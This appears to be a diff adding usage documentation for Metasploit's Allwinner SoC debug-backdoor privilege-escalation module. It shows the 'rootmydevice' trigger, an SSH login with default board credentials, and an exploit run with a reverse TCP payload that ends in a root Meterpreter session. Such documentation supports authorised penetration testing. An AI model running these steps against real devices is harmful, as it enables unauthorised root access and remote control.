|
| 1 | + Vulnerable Allwinner SoC chips: H3, A83T or H8 which rely on Kernel 3.4 |
| 2 | + Vulnerable OS: all OS images available for Orange Pis, |
| 3 | + any for FriendlyARM's NanoPi M1, |
| 4 | + SinoVoip's M2+ and M3, |
| 5 | + Cuebietech's Cubietruck + |
| 6 | + Linksprite's pcDuino8 Uno |
| 7 | + Exploitation may be possible against Dragon (x10) and Allwinner Android tablets |
| 8 | + |
| 9 | +This module attempts to exploit a debug backdoor privilege escalation in Allwinner SoC based devices. Implements the Allwinner privilege escalation as documented in [Metasploit issue #6869](https://github.com/rapid7/metasploit-framework/issues/6869). It is a simple debug kernel module that, when "rootmydevice" is echoed to the process, it escalates the shell to root. |
| 10 | + |
| 11 | +## Usage |
| 12 | + |
| 13 | +To use this module, you need a vulnerable device. An Orange Pi (PC model) running Lubuntu 14.04 v0.8.0 works, but other OSes for the device (as well as other devices) are also vulnerable. |
| 14 | + |
| 15 | +- `use auxiliary/scanner/ssh/ssh_login` |
| 16 | + |
| 17 | +``` |
| 18 | +msf auxiliary(ssh_login) > set username orangepi |
| 19 | +username => orangepi |
| 20 | +msf auxiliary(ssh_login) > set password orangepi |
| 21 | +password => orangepi |
| 22 | +msf auxiliary(ssh_login) > set rhosts 192.168.2.21 |
| 23 | +rhosts => 192.168.2.21 |
| 24 | +msf auxiliary(ssh_login) > exploit |
| 25 | +
|
| 26 | +[*] 192.168.2.21:22 SSH - Starting bruteforce |
| 27 | +[+] 192.168.2.21:22 SSH - Success: 'orangepi:orangepi' 'uid=1001(orangepi) gid=1001(orangepi) groups=1001(orangepi),27(sudo),29(audio) Linux orangepi 3.4.39 #41 SMP PREEMPT Sun Jun 21 13:09:26 HKT 2015 armv7l armv7l armv7l GNU/Linux ' |
| 28 | +[!] No active DB -- Credential data will not be saved! |
| 29 | +[*] Command shell session 1 opened (192.168.2.229:33673 -> 192.168.2.21:22) at 2016-05-17 21:55:27 -0400 |
| 30 | +[*] Scanned 1 of 1 hosts (100% complete) |
| 31 | +[*] Auxiliary module execution completed |
| 32 | +``` |
| 33 | + |
| 34 | +- `use exploit/multi/local/allwinner_backdoor` |
| 35 | + |
| 36 | +``` |
| 37 | +msf exploit(allwinner_backdoor) > set verbose true |
| 38 | +verbose => true |
| 39 | +msf exploit(allwinner_backdoor) > set session 1 |
| 40 | +session => 1 |
| 41 | +msf exploit(allwinner_backdoor) > set payload linux/armle/mettle/reverse_tcp |
| 42 | +payload => linux/armle/mettle/reverse_tcp |
| 43 | +msf exploit(allwinner_backdoor) > set lhost 192.168.2.117 |
| 44 | +lhost => 192.168.2.117 |
| 45 | +msf exploit(allwinner_backdoor) > check |
| 46 | +[*] The target appears to be vulnerable. |
| 47 | +msf exploit(allwinner_backdoor) > exploit |
| 48 | +``` |
| 49 | + |
| 50 | +## Successful exploitation: |
| 51 | + |
| 52 | +``` |
| 53 | +[*] Started reverse TCP handler on 192.168.2.117:4444 |
| 54 | +[*] Transmitting intermediate stager...(136 bytes) |
| 55 | +[*] Sending stage (374540 bytes) to 192.168.2.248 |
| 56 | +[+] Backdoor Found, writing payload to /tmp/odzVx.elf |
| 57 | +[*] Max line length is 65537 |
| 58 | +[*] Writing 284 bytes in 1 chunks of 843 bytes (octal-encoded), using printf |
| 59 | +[+] Escalating |
| 60 | +[*] Transmitting intermediate stager...(136 bytes) |
| 61 | +[*] Sending stage (374540 bytes) to 192.168.2.248 |
| 62 | +[*] Meterpreter session 2 opened (192.168.2.117:4444 -> 192.168.2.248:49472) at 2016-09-22 21:56:50 -0400 |
| 63 | +
|
| 64 | +meterpreter > getuid |
| 65 | +Server username: uid=0, gid=0, euid=0, egid=0 |
| 66 | +meterpreter > sysinfo |
| 67 | +Computer : 192.168.2.248 |
| 68 | +OS : Ubuntu 14.04 (Linux 3.4.39) |
| 69 | +Architecture : armv7l |
| 70 | +Meterpreter : armle/linux |
| 71 | +``` |
0 commit comments